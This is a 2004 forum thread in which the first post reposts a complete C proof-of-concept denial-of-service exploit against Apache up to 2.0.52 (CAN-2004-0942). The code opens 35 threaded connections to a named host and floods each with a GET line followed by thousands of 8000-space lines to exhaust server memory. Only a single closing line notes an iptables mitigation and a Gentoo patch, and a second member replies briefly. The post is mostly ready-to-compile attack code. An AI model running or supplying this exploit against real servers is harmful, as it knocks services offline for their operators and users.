Apache <= 2.0.52 HTTP GET Remote Denial of Service Exploit

Discussion in 'Open Source' started by firewall, Nov 23, 2004.

Thread Status:
Not open for further replies.
  1. firewall

    firewall New Member

    Joined:
    Mar 31, 2004
    Messages:
    299
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Kolkata - INDIA
    Code:
    /*
    Apache Squ1rt, Denial of Service Proof of Concept
    Tested on Apache 2.0.52
    
    j0hnylightning gmail .om
    dguido gmail com
    
    Sends a request that starts with:
    GET / HTTP/1.0\n
    8000 spaces \n
    8000 spaces \n
    8000 spaces \n
    ...
    8000 times
    
    Apache never kills it. Takes up huge amounts of
    RAM which increase with each connection.
    
    Original credit goes to Chintan Trivedi on the
    FullDisclosure mailing list:
    http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html
    
    More info:
    http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942
    
    Versions between 2.0.35 and 2.0.52 may be vulnerable,
    but only down to 2.0.50 was tested.
    
    v2
    Rewritten to use pthread.
    gcc apache-squ1rt.c -lpthread
    */
    
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <pthread.h>
    #define DEST_PORT 80
    
    void *squirtIt(char *hName);
    
    char attackBuf[8000];
    char letsGetStarted[128];
    
    int main(int argc, char **argv){
       int num_connect;
       int ret;
       pthread_t tid[35];
    
       sprintf(letsGetStarted, "GET / HTTP/1.0\n");
       memset(attackBuf, ' ', 8000);
       attackBuf[7998]='\n';
       attackBuf[7999]='\0';
    
       if (argc != 2){
          fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
          exit(1);
       }
    
       for(num_connect = 0; num_connect < 35; num_connect++){
          ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
       }
       
       /* assuming any of these threads actually terminate, this waits for all of them */
       for(num_connect = 0; num_connect < 35; num_connect++){
          pthread_join(tid[num_connect], NULL);
       }
    
      return 0;
    }
    
    void *squirtIt(char *hName){
       int sock, i;
       struct hostent *target;
       struct sockaddr_in addy;
    
       if((target = gethostbyname(hName)) == NULL){
          herror("gethostbyname()");
          exit(1);
       }
    
       if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
          perror("socket()");
          exit(1);
       }
    
       addy.sin_family = AF_INET;
       addy.sin_port = htons(DEST_PORT);
       bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
       memset(&(addy.sin_zero), '\0', 8);
    
       if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
          perror("connect()");
          exit(1);
       }
    
       send(sock, letsGetStarted, strlen(letsGetStarted), 0);
    
       for(i=0; i < 8000; i++){
          send(sock, attackBuf, strlen(attackBuf), 0);
       }
    
       close(sock);
    } 
    This attack may be preventable with a properly configured iptables ruleset. Gentoo already has a patch out in the 2.0.52-r1 release in the file 06_all_gentoo_protocol.patch


    :)


    a.m
     
  2. [deXter]

    [deXter] New Member

    Joined:
    Dec 24, 2003
    Messages:
    180
    Likes Received:
    0
    Trophy Points:
    0
    Location:
    Mumbai
    Hmm.. Very interesting FW!

    Even more interesting:

    Original credit goes to Chintan Trivedi on the FullDisclosure mailing list..

    Nice!

    [​IMG]
    _________________
    Firefox
    Rediscover the web
     
Thread Status:
Not open for further replies.

Share This Page